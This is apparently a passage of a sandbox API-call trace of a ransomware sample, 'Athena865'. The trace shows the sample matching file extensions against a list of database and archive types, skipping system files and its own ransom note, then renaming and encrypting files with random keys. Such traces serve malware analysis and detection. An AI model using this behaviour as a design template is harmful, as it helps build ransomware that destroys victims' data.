lstrlenW (lpString="rar") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="rar") returned -1 [0059.946] lstrlenW (lpString="zip") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="zip") returned -1 [0059.946] lstrlenW (lpString="tgz") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="tgz") returned -1 [0059.946] lstrlenW (lpString="vbox") returned 4 [0059.946] lstrcmpiW (lpString1=".chm", lpString2="vbox") returned -1 [0059.946] lstrlenW (lpString="vdi") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="vdi") returned -1 [0059.946] lstrlenW (lpString="vhd") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="vhd") returned -1 [0059.946] lstrlenW (lpString="vhdx") returned 4 [0059.946] lstrcmpiW (lpString1=".chm", lpString2="vhdx") returned -1 [0059.946] lstrlenW (lpString="avhd") returned 4 [0059.946] lstrcmpiW (lpString1=".chm", lpString2="avhd") returned -1 [0059.946] lstrlenW (lpString="db") returned 2 [0059.946] lstrcmpiW (lpString1="hm", lpString2="db") returned 1 [0059.946] lstrlenW (lpString="db2") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="db2") returned -1 [0059.946] lstrlenW (lpString="db3") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="db3") returned -1 [0059.946] lstrlenW (lpString="dbf") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="dbf") returned -1 [0059.946] lstrlenW (lpString="mdf") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="mdf") returned -1 [0059.946] lstrlenW (lpString="mdb") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="mdb") returned -1 [0059.946] lstrlenW (lpString="sql") returned 3 [0059.946] lstrcmpiW (lpString1="chm", lpString2="sql") returned -1 [0059.946] lstrlenW (lpString="sqlite") returned 6 [0059.946] lstrcmpiW (lpString1="0r.chm", lpString2="sqlite") returned -1 [0059.947] lstrlenW (lpString="sqlite3") returned 7 [0059.947] lstrcmpiW (lpString1="10r.chm", lpString2="sqlite3") returned -1 [0059.947] lstrlenW (lpString="sqlitedb") returned 8 [0059.947] lstrcmpiW (lpString1="s10r.chm", lpString2="sqlitedb") returned -1 [0059.947] lstrlenW (lpString="xml") returned 3 [0059.947] lstrcmpiW (lpString1="chm", lpString2="xml") returned -1 [0059.947] lstrlenW (lpString="$er") returned 3 [0059.947] lstrcmpiW (lpString1="chm", lpString2="$er") returned 1 [0059.947] lstrlenW (lpString="4dd") returned 3 [0059.947] lstrcmpiW (lpString1="chm", lpString2="4dd") returned 1 [0059.947] lstrlenW (lpString="4dl") returned 3 [0059.947] lstrcmpiW (lpString1="chm", lpString2="4dl") returned 1 [0059.947] lstrlenW (lpString="^^^") returned 3 [0059.947] lstrcmpiW (lpString1="chm", lpString2="^^^") returned 1 [0059.947] lstrlenW (lpString="abs") returned 3 [0059.947] lstrcmpiW (lpString1="chm", lpString2="abs") returned 1 [0059.947] lstrlenW (lpString="abx") returned 3 [0059.947] lstrcmpiW (lpString1="chm", lpString2="abx") returned 1 [0059.947] lstrlenW (lpString="accdb") returned 5 [0059.947] lstrcmpiW (lpString1="r.chm", lpString2="accdb") returned 1 [0059.947] lstrlenW (lpString="accdc") returned 5 [0059.947] lstrcmpiW (lpString1="r.chm", lpString2="accdc") returned 1 [0059.947] lstrlenW (lpString="accde") returned 5 [0059.947] lstrcmpiW (lpString1="r.chm", lpString2="accde") returned 1 [0059.947] lstrlenW (lpString="accdr") returned 5 [0059.947] lstrcmpiW (lpString1="r.chm", lpString2="accdr") returned 1 [0059.947] lstrlenW (lpString="accdt") returned 5 [0059.947] lstrcmpiW (lpString1="r.chm", lpString2="accdt") returned 1 [0059.947] lstrlenW (lpString="accdw") returned 5 [0059.947] lstrcmpiW (lpString1="r.chm", lpString2="accdw") returned 1 [0059.947] lstrlenW (lpString="accft") returned 5 [0059.947] lstrcmpiW (lpString1="r.chm", lpString2="accft") returned 1 [0059.948] lstrlenW (lpString="adb") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="adb") returned 1 [0059.948] lstrlenW (lpString="adb") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="adb") returned 1 [0059.948] lstrlenW (lpString="ade") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="ade") returned 1 [0059.948] lstrlenW (lpString="adf") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="adf") returned 1 [0059.948] lstrlenW (lpString="adn") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="adn") returned 1 [0059.948] lstrlenW (lpString="adp") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="adp") returned 1 [0059.948] lstrlenW (lpString="alf") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="alf") returned 1 [0059.948] lstrlenW (lpString="ask") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="ask") returned 1 [0059.948] lstrlenW (lpString="btr") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="btr") returned 1 [0059.948] lstrlenW (lpString="cat") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="cat") returned 1 [0059.948] lstrlenW (lpString="cdb") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="cdb") returned 1 [0059.948] lstrlenW (lpString="ckp") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="ckp") returned -1 [0059.948] lstrlenW (lpString="cma") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="cma") returned -1 [0059.948] lstrlenW (lpString="cpd") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="cpd") returned -1 [0059.948] lstrlenW (lpString="dacpac") returned 6 [0059.948] lstrcmpiW (lpString1="0r.chm", lpString2="dacpac") returned -1 [0059.948] lstrlenW (lpString="dad") returned 3 [0059.948] lstrcmpiW (lpString1="chm", lpString2="dad") returned -1 [0059.948] lstrlenW (lpString="dadiagrams") returned 10 [0059.949] lstrlenW (lpString="daschema") returned 8 [0059.949] lstrcmpiW (lpString1="s10r.chm", lpString2="daschema") returned 1 [0059.949] lstrlenW (lpString="db-journal") returned 10 [0059.949] lstrlenW (lpString="db-shm") returned 6 [0059.949] lstrcmpiW (lpString1="0r.chm", lpString2="db-shm") returned -1 [0059.949] lstrlenW (lpString="db-wal") returned 6 [0059.949] lstrcmpiW (lpString1="0r.chm", lpString2="db-wal") returned -1 [0059.949] lstrlenW (lpString="dbc") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dbc") returned -1 [0059.949] lstrlenW (lpString="dbs") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dbs") returned -1 [0059.949] lstrlenW (lpString="dbt") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dbt") returned -1 [0059.949] lstrlenW (lpString="dbv") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dbv") returned -1 [0059.949] lstrlenW (lpString="dbx") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dbx") returned -1 [0059.949] lstrlenW (lpString="dcb") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dcb") returned -1 [0059.949] lstrlenW (lpString="dct") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dct") returned -1 [0059.949] lstrlenW (lpString="dcx") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dcx") returned -1 [0059.949] lstrlenW (lpString="ddl") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="ddl") returned -1 [0059.949] lstrlenW (lpString="dlis") returned 4 [0059.949] lstrcmpiW (lpString1=".chm", lpString2="dlis") returned -1 [0059.949] lstrlenW (lpString="dp1") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dp1") returned -1 [0059.949] lstrlenW (lpString="dqy") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dqy") returned -1 [0059.949] lstrlenW (lpString="dsk") returned 3 [0059.949] lstrcmpiW (lpString1="chm", lpString2="dsk") returned -1 [0059.950] lstrlenW (lpString="dsn") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="dsn") returned -1 [0059.950] lstrlenW (lpString="dtsx") returned 4 [0059.950] lstrcmpiW (lpString1=".chm", lpString2="dtsx") returned -1 [0059.950] lstrlenW (lpString="dxl") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="dxl") returned -1 [0059.950] lstrlenW (lpString="eco") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="eco") returned -1 [0059.950] lstrlenW (lpString="ecx") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="ecx") returned -1 [0059.950] lstrlenW (lpString="edb") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="edb") returned -1 [0059.950] lstrlenW (lpString="epim") returned 4 [0059.950] lstrcmpiW (lpString1=".chm", lpString2="epim") returned -1 [0059.950] lstrlenW (lpString="fcd") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="fcd") returned -1 [0059.950] lstrlenW (lpString="fdb") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="fdb") returned -1 [0059.950] lstrlenW (lpString="fic") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="fic") returned -1 [0059.950] lstrlenW (lpString="flexolibrary") returned 12 [0059.950] lstrlenW (lpString="fm5") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="fm5") returned -1 [0059.950] lstrlenW (lpString="fmp") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="fmp") returned -1 [0059.950] lstrlenW (lpString="fmp12") returned 5 [0059.950] lstrcmpiW (lpString1="r.chm", lpString2="fmp12") returned 1 [0059.950] lstrlenW (lpString="fmpsl") returned 5 [0059.950] lstrcmpiW (lpString1="r.chm", lpString2="fmpsl") returned 1 [0059.950] lstrlenW (lpString="fol") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="fol") returned -1 [0059.950] lstrlenW (lpString="fp3") returned 3 [0059.950] lstrcmpiW (lpString1="chm", lpString2="fp3") returned -1 [0059.951] lstrlenW (lpString="fp4") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="fp4") returned -1 [0059.951] lstrlenW (lpString="fp5") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="fp5") returned -1 [0059.951] lstrlenW (lpString="fp7") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="fp7") returned -1 [0059.951] lstrlenW (lpString="fpt") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="fpt") returned -1 [0059.951] lstrlenW (lpString="frm") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="frm") returned -1 [0059.951] lstrlenW (lpString="gdb") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="gdb") returned -1 [0059.951] lstrlenW (lpString="gdb") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="gdb") returned -1 [0059.951] lstrlenW (lpString="grdb") returned 4 [0059.951] lstrcmpiW (lpString1=".chm", lpString2="grdb") returned -1 [0059.951] lstrlenW (lpString="gwi") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="gwi") returned -1 [0059.951] lstrlenW (lpString="hdb") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="hdb") returned -1 [0059.951] lstrlenW (lpString="his") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="his") returned -1 [0059.951] lstrlenW (lpString="ib") returned 2 [0059.951] lstrcmpiW (lpString1="hm", lpString2="ib") returned -1 [0059.951] lstrlenW (lpString="idb") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="idb") returned -1 [0059.951] lstrlenW (lpString="ihx") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="ihx") returned -1 [0059.951] lstrlenW (lpString="itdb") returned 4 [0059.951] lstrcmpiW (lpString1=".chm", lpString2="itdb") returned -1 [0059.951] lstrlenW (lpString="itw") returned 3 [0059.951] lstrcmpiW (lpString1="chm", lpString2="itw") returned -1 [0059.951] lstrlenW (lpString="jet") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="jet") returned -1 [0059.952] lstrlenW (lpString="jtx") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="jtx") returned -1 [0059.952] lstrlenW (lpString="kdb") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="kdb") returned -1 [0059.952] lstrlenW (lpString="kexi") returned 4 [0059.952] lstrcmpiW (lpString1=".chm", lpString2="kexi") returned -1 [0059.952] lstrlenW (lpString="kexic") returned 5 [0059.952] lstrcmpiW (lpString1="r.chm", lpString2="kexic") returned 1 [0059.952] lstrlenW (lpString="kexis") returned 5 [0059.952] lstrcmpiW (lpString1="r.chm", lpString2="kexis") returned 1 [0059.952] lstrlenW (lpString="lgc") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="lgc") returned -1 [0059.952] lstrlenW (lpString="lwx") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="lwx") returned -1 [0059.952] lstrlenW (lpString="maf") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="maf") returned -1 [0059.952] lstrlenW (lpString="maq") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="maq") returned -1 [0059.952] lstrlenW (lpString="mar") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="mar") returned -1 [0059.952] lstrlenW (lpString="marshal") returned 7 [0059.952] lstrcmpiW (lpString1="10r.chm", lpString2="marshal") returned -1 [0059.952] lstrlenW (lpString="mas") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="mas") returned -1 [0059.952] lstrlenW (lpString="mav") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="mav") returned -1 [0059.952] lstrlenW (lpString="maw") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="maw") returned -1 [0059.952] lstrlenW (lpString="mdbhtml") returned 7 [0059.952] lstrcmpiW (lpString1="10r.chm", lpString2="mdbhtml") returned -1 [0059.952] lstrlenW (lpString="mdn") returned 3 [0059.952] lstrcmpiW (lpString1="chm", lpString2="mdn") returned -1 [0059.953] lstrlenW (lpString="mdt") returned 3 [0059.953] lstrcmpiW (lpString1="chm", lpString2="mdt") returned -1 [0059.953] lstrlenW (lpString="mfd") returned 3 [0059.957] lstrcmpiW (lpString1="chm", lpString2="mfd") returned -1 [0059.957] lstrlenW (lpString="mpd") returned 3 [0059.957] lstrcmpiW (lpString1="chm", lpString2="mpd") returned -1 [0059.957] lstrlenW (lpString="mrg") returned 3 [0059.957] lstrcmpiW (lpString1="chm", lpString2="mrg") returned -1 [0059.957] lstrlenW (lpString="mud") returned 3 [0059.957] lstrcmpiW (lpString1="chm", lpString2="mud") returned -1 [0059.957] lstrlenW (lpString="mwb") returned 3 [0059.957] lstrcmpiW (lpString1="chm", lpString2="mwb") returned -1 [0059.957] lstrlenW (lpString="myd") returned 3 [0059.957] lstrcmpiW (lpString1="chm", lpString2="myd") returned -1 [0059.957] lstrlenW (lpString="ndf") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="ndf") returned -1 [0059.958] lstrlenW (lpString="nnt") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="nnt") returned -1 [0059.958] lstrlenW (lpString="nrmlib") returned 6 [0059.958] lstrcmpiW (lpString1="0r.chm", lpString2="nrmlib") returned -1 [0059.958] lstrlenW (lpString="ns2") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="ns2") returned -1 [0059.958] lstrlenW (lpString="ns3") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="ns3") returned -1 [0059.958] lstrlenW (lpString="ns4") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="ns4") returned -1 [0059.958] lstrlenW (lpString="nsf") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="nsf") returned -1 [0059.958] lstrlenW (lpString="nv") returned 2 [0059.958] lstrcmpiW (lpString1="hm", lpString2="nv") returned -1 [0059.958] lstrlenW (lpString="nv2") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="nv2") returned -1 [0059.958] lstrlenW (lpString="nwdb") returned 4 [0059.958] lstrcmpiW (lpString1=".chm", lpString2="nwdb") returned -1 [0059.958] lstrlenW (lpString="nyf") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="nyf") returned -1 [0059.958] lstrlenW (lpString="odb") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="odb") returned -1 [0059.958] lstrlenW (lpString="odb") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="odb") returned -1 [0059.958] lstrlenW (lpString="oqy") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="oqy") returned -1 [0059.958] lstrlenW (lpString="ora") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="ora") returned -1 [0059.958] lstrlenW (lpString="orx") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="orx") returned -1 [0059.958] lstrlenW (lpString="owc") returned 3 [0059.958] lstrcmpiW (lpString1="chm", lpString2="owc") returned -1 [0059.959] lstrlenW (lpString="p96") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="p96") returned -1 [0059.959] lstrlenW (lpString="p97") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="p97") returned -1 [0059.959] lstrlenW (lpString="pan") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="pan") returned -1 [0059.959] lstrlenW (lpString="pdb") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="pdb") returned -1 [0059.959] lstrlenW (lpString="pdm") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="pdm") returned -1 [0059.959] lstrlenW (lpString="pnz") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="pnz") returned -1 [0059.959] lstrlenW (lpString="qry") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="qry") returned -1 [0059.959] lstrlenW (lpString="qvd") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="qvd") returned -1 [0059.959] lstrlenW (lpString="rbf") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="rbf") returned -1 [0059.959] lstrlenW (lpString="rctd") returned 4 [0059.959] lstrcmpiW (lpString1=".chm", lpString2="rctd") returned -1 [0059.959] lstrlenW (lpString="rod") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="rod") returned -1 [0059.959] lstrlenW (lpString="rodx") returned 4 [0059.959] lstrcmpiW (lpString1=".chm", lpString2="rodx") returned -1 [0059.959] lstrlenW (lpString="rpd") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="rpd") returned -1 [0059.959] lstrlenW (lpString="rsd") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="rsd") returned -1 [0059.959] lstrlenW (lpString="sas7bdat") returned 8 [0059.959] lstrcmpiW (lpString1="s10r.chm", lpString2="sas7bdat") returned -1 [0059.959] lstrlenW (lpString="sbf") returned 3 [0059.959] lstrcmpiW (lpString1="chm", lpString2="sbf") returned -1 [0059.959] lstrlenW (lpString="scx") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="scx") returned -1 [0059.960] lstrlenW (lpString="sdb") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="sdb") returned -1 [0059.960] lstrlenW (lpString="sdc") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="sdc") returned -1 [0059.960] lstrlenW (lpString="sdf") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="sdf") returned -1 [0059.960] lstrlenW (lpString="sis") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="sis") returned -1 [0059.960] lstrlenW (lpString="spq") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="spq") returned -1 [0059.960] lstrlenW (lpString="te") returned 2 [0059.960] lstrcmpiW (lpString1="hm", lpString2="te") returned -1 [0059.960] lstrlenW (lpString="teacher") returned 7 [0059.960] lstrcmpiW (lpString1="10r.chm", lpString2="teacher") returned -1 [0059.960] lstrlenW (lpString="tmd") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="tmd") returned -1 [0059.960] lstrlenW (lpString="tps") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="tps") returned -1 [0059.960] lstrlenW (lpString="trc") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="trc") returned -1 [0059.960] lstrlenW (lpString="trc") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="trc") returned -1 [0059.960] lstrlenW (lpString="trm") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="trm") returned -1 [0059.960] lstrlenW (lpString="udb") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="udb") returned -1 [0059.960] lstrlenW (lpString="udl") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="udl") returned -1 [0059.960] lstrlenW (lpString="usr") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="usr") returned -1 [0059.960] lstrlenW (lpString="v12") returned 3 [0059.960] lstrcmpiW (lpString1="chm", lpString2="v12") returned -1 [0059.961] lstrlenW (lpString="vis") returned 3 [0059.961] lstrcmpiW (lpString1="chm", lpString2="vis") returned -1 [0059.961] lstrlenW (lpString="vpd") returned 3 [0059.961] lstrcmpiW (lpString1="chm", lpString2="vpd") returned -1 [0059.961] lstrlenW (lpString="vvv") returned 3 [0059.961] lstrcmpiW (lpString1="chm", lpString2="vvv") returned -1 [0059.961] lstrlenW (lpString="wdb") returned 3 [0059.961] lstrcmpiW (lpString1="chm", lpString2="wdb") returned -1 [0059.961] lstrlenW (lpString="wmdb") returned 4 [0059.961] lstrcmpiW (lpString1=".chm", lpString2="wmdb") returned -1 [0059.961] lstrlenW (lpString="wrk") returned 3 [0059.961] lstrcmpiW (lpString1="chm", lpString2="wrk") returned -1 [0059.961] lstrlenW (lpString="xdb") returned 3 [0059.961] lstrcmpiW (lpString1="chm", lpString2="xdb") returned -1 [0059.961] lstrlenW (lpString="xld") returned 3 [0059.961] lstrcmpiW (lpString1="chm", lpString2="xld") returned -1 [0059.961] lstrlenW (lpString="xmlff") returned 5 [0059.961] lstrcmpiW (lpString1="r.chm", lpString2="xmlff") returned -1 [0059.961] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.Athena865") returned 83 [0059.961] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.athena865"), dwFlags=0x1) returned 1 [0059.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.962] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27195) returned 1 [0059.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.962] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.963] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.963] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.963] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d40, lpName=0x0) returned 0x154 [0059.965] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d40) returned 0x100000 [0059.966] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.967] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.967] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.968] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0059.968] CloseHandle (hObject=0x154) returned 1 [0059.968] CloseHandle (hObject=0x17c) returned 1 [0059.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.970] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0059.970] lstrcmpiW (lpString1="setup.chm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.970] lstrcmpiW (lpString1="setup.chm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.970] lstrcmpiW (lpString1="setup.chm", lpString2=".") returned 1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="..") returned 1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="windows") returned -1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="bootmgr") returned 1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="temp") returned -1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="pagefile.sys") returned 1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="boot") returned 1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="ids.txt") returned 1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="ntuser.dat") returned 1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="perflogs") returned 1 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2="MSBuild") returned 1 [0059.971] lstrlenW (lpString="setup.chm") returned 9 [0059.971] lstrcpyW (in: lpString1=0x241e8c6, lpString2="setup.chm" | out: lpString1="setup.chm") returned="setup.chm" [0059.971] lstrlenW (lpString="setup.chm") returned 9 [0059.971] lstrlenW (lpString="Athena865") returned 9 [0059.971] lstrlenW (lpString=".dll") returned 4 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2=".dll") returned 1 [0059.971] lstrlenW (lpString=".lnk") returned 4 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2=".lnk") returned 1 [0059.971] lstrlenW (lpString=".ini") returned 4 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2=".ini") returned 1 [0059.971] lstrlenW (lpString=".sys") returned 4 [0059.971] lstrcmpiW (lpString1="setup.chm", lpString2=".sys") returned 1 